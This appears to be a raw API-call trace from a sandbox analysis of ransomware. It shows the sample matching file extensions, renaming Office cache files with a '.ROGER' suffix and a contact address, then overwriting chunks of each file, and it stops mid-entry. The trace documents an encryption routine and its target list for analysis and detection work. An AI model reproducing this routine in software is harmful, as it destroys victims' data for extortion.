[0044.966] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.967] lstrlenW (lpString=".docx") returned 5 [0044.967] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.967] lstrlenW (lpString=".pdf") returned 4 [0044.967] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.967] lstrlenW (lpString=".xls") returned 4 [0044.967] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.967] lstrlenW (lpString=".xlsx") returned 5 [0044.967] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.967] lstrlenW (lpString=".ppt") returned 4 [0044.967] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.967] lstrlenW (lpString=".zip") returned 4 [0044.967] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.967] lstrlenW (lpString=".rar") returned 4 [0044.967] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.967] lstrlenW (lpString=".bz2") returned 4 [0044.967] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.967] lstrlenW (lpString=".7z") returned 3 [0044.967] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.967] lstrlenW (lpString=".dbf") returned 4 [0044.967] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.967] lstrlenW (lpString=".1cd") returned 4 [0044.967] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.967] lstrlenW (lpString=".jpg") returned 4 [0044.967] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.967] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.967] lstrlenW (lpString=".doc") returned 4 [0044.968] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.968] lstrlenW (lpString=".docx") returned 5 [0044.968] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0044.968] lstrlenW (lpString=".pdf") returned 4 [0044.968] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.968] lstrlenW (lpString=".xls") returned 4 [0044.968] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.968] lstrlenW (lpString=".xlsx") returned 5 [0044.968] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0044.968] lstrlenW (lpString=".ppt") returned 4 [0044.968] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.968] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.968] lstrlenW (lpString=".zip") returned 4 [0044.968] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.968] lstrlenW (lpString=".rar") returned 4 [0044.968] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.968] lstrlenW (lpString=".bz2") returned 4 [0044.968] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.968] lstrlenW (lpString=".7z") returned 3 [0044.968] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.968] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.968] lstrlenW (lpString=".dbf") returned 4 [0044.968] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.968] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.968] lstrlenW (lpString=".1cd") returned 4 [0044.968] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.968] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab") returned 75 [0044.968] lstrlenW (lpString=".jpg") returned 4 [0044.968] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.969] lstrcmpiW (lpString1=".msi", lpString2=".ROGER") returned -1 [0044.969] lstrlenW (lpString="VisioMUI.msi") returned 12 [0044.969] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0044.969] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=2797568) returned 1 [0044.969] CloseHandle (hObject=0x34c) returned 1 [0044.969] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi")) returned 0x2020 [0044.969] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0044.969] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0044.970] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.msi.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0044.970] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0x0) returned 1 [0044.970] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0044.970] ReadFile (in: hFile=0x34c, lpBuffer=0x4850058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4850058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.082] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.082] ReadFile (in: hFile=0x34c, lpBuffer=0x4890058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4890058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.192] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.192] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.192] ReadFile (in: hFile=0x34c, lpBuffer=0x48d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x48d0058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.245] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.245] WriteFile (in: hFile=0x34c, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x3d3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0045.598] SetEndOfFile (hFile=0x34c) returned 1 [0045.598] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4f48010 [0045.598] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.599] WriteFile (in: hFile=0x34c, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.600] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0xe3aaa, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.600] WriteFile (in: hFile=0x34c, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.608] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x26b000, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.608] WriteFile (in: hFile=0x34c, lpBuffer=0x4f48010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x4f48010*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.611] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f48010 | out: hHeap=0x790000) returned 1 [0045.611] CloseHandle (hObject=0x34c) returned 1 [0045.611] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0045.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.611] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.611] lstrlenW (lpString=".doc") returned 4 [0045.612] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.612] lstrlenW (lpString=".docx") returned 5 [0045.612] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.612] lstrlenW (lpString=".pdf") returned 4 [0045.612] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.612] lstrlenW (lpString=".xls") returned 4 [0045.612] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.612] lstrlenW (lpString=".xlsx") returned 5 [0045.612] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.612] lstrlenW (lpString=".ppt") returned 4 [0045.612] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.612] lstrlenW (lpString=".zip") returned 4 [0045.612] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.612] lstrlenW (lpString=".rar") returned 4 [0045.612] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.612] lstrlenW (lpString=".bz2") returned 4 [0045.612] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.612] lstrlenW (lpString=".7z") returned 3 [0045.612] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.612] lstrlenW (lpString=".dbf") returned 4 [0045.612] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.612] lstrlenW (lpString=".1cd") returned 4 [0045.612] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.612] lstrlenW (lpString=".jpg") returned 4 [0045.612] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.612] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.613] lstrlenW (lpString=".doc") returned 4 [0045.613] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.613] lstrlenW (lpString=".docx") returned 5 [0045.613] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0045.613] lstrlenW (lpString=".pdf") returned 4 [0045.613] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.613] lstrlenW (lpString=".xls") returned 4 [0045.613] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.613] lstrlenW (lpString=".xlsx") returned 5 [0045.613] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0045.613] lstrlenW (lpString=".ppt") returned 4 [0045.613] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.613] lstrlenW (lpString=".zip") returned 4 [0045.613] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.613] lstrlenW (lpString=".rar") returned 4 [0045.613] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.613] lstrlenW (lpString=".bz2") returned 4 [0045.613] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.613] lstrlenW (lpString=".7z") returned 3 [0045.613] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.613] lstrlenW (lpString=".dbf") returned 4 [0045.613] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.613] lstrlenW (lpString=".1cd") returned 4 [0045.613] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.613] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.msi") returned 75 [0045.613] lstrlenW (lpString=".jpg") returned 4 [0045.613] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.614] lstrcmpiW (lpString1=".cab", lpString2=".ROGER") returned -1 [0045.614] lstrlenW (lpString="ProjLR.cab") returned 10 [0045.614] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0045.868] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x3d3ff1c | out: lpFileSize=0x3d3ff1c*=8265165) returned 1 [0045.868] CloseHandle (hObject=0x3d4) returned 1 [0045.868] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab")) returned 0x2020 [0045.868] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.868] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0045.869] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projlr.cab.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0045.869] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.869] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.869] ReadFile (in: hFile=0x3d4, lpBuffer=0x4850058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4850058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.872] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.872] ReadFile (in: hFile=0x3d4, lpBuffer=0x4890058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x4890058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.875] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3d3fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.875] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.875] ReadFile (in: hFile=0x3d4, lpBuffer=0x48d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3d3fc38, lpOverlapped=0x0 | out: lpBuffer=0x48d0058*, lpNumberOfBytesRead=0x3d3fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.139] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.139] WriteFile (in: hFile=0x3d4, lpBuffer=0x4850020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x3d3fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4850020*, lpNumberOfBytesWritten=0x3d3fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0046.160] SetEndOfFile (hFile=0x3d4) returned 1 [0046.161] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x5360048 [0046.161] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.161] WriteFile (in: hFile=0x3d4, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.162] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x2a09ef, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.162] WriteFile (in: hFile=0x3d4, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.164] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x7a1dcd, lpNewFilePointer=0x0, dwMoveMethod=0x3d3fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.164] WriteFile (in: hFile=0x3d4, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3d3fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x3d3fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.166] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5360048 | out: hHeap=0x790000) returned 1 [0046.166] CloseHandle (hObject=0x3d4) returned 1 [0046.167] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0046.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0046.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0046.167] lstrlenW (lpString=".doc") returned 4 [0046.167] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.167] lstrlenW (lpString=".docx") returned 5 [0046.167] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.167] lstrlenW (lpString=".pdf") returned 4 [0046.167] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.167] lstrlenW (lpString=".xls") returned 4 [0046.167] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.167] lstrlenW (lpString=".xlsx") returned 5 [0046.167] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.167] lstrlenW (lpString=".ppt") returned 4 [0046.167] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0046.167] lstrlenW (lpString=".zip") returned 4 [0046.167] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.167] lstrlenW (lpString=".rar") returned 4 [0046.167] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.167] lstrlenW (lpString=".bz2") returned 4 [0046.167] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.167] lstrlenW (lpString=".7z") returned 3 [0046.167] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.167] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0046.167] lstrlenW (lpString=".dbf") returned 4 [0046.168] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0046.168] lstrlenW (lpString=".1cd") returned 4 [0046.168] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0046.168] lstrlenW (lpString=".jpg") returned 4 [0046.168] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0046.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0046.168] lstrlenW (lpString=".doc") returned 4 [0046.168] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.168] lstrlenW (lpString=".docx") returned 5 [0046.168] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.168] lstrlenW (lpString=".pdf") returned 4 [0046.168] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.168] lstrlenW (lpString=".xls") returned 4 [0046.168] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.168] lstrlenW (lpString=".xlsx") returned 5 [0046.168] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.168] lstrlenW (lpString=".ppt") returned 4 [0046.168] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.168] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0046.168] lstrlenW (lpString=".zip") returned 4 [0046.168] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.168] lstrlenW (lpString=".rar") returned 4 [0046.168] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.168] lstrlenW (lpString=".bz2") returned 4 [0046.168] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.168] lstrlenW (lpString=".7z") returned 3 [0046.168] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0046.169] lstrlenW (lpString=".dbf") returned 4 [0046.169] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0046.169] lstrlenW (lpString=".1cd") returned 4 [0046.169] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.169] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjLR.cab") returned 73 [0046.169] lstrlenW (lpString=".jpg") returned 4 [0046.169] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.169] lstrcmpiW (lpString1=".dll", lpString2=".ROGER") returned -1 [0046.169] lstrlenW (lpString="dwdcw20.dll") returned 11 [0046.169] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwdcw20.dll" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwdcw20.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0046.295] 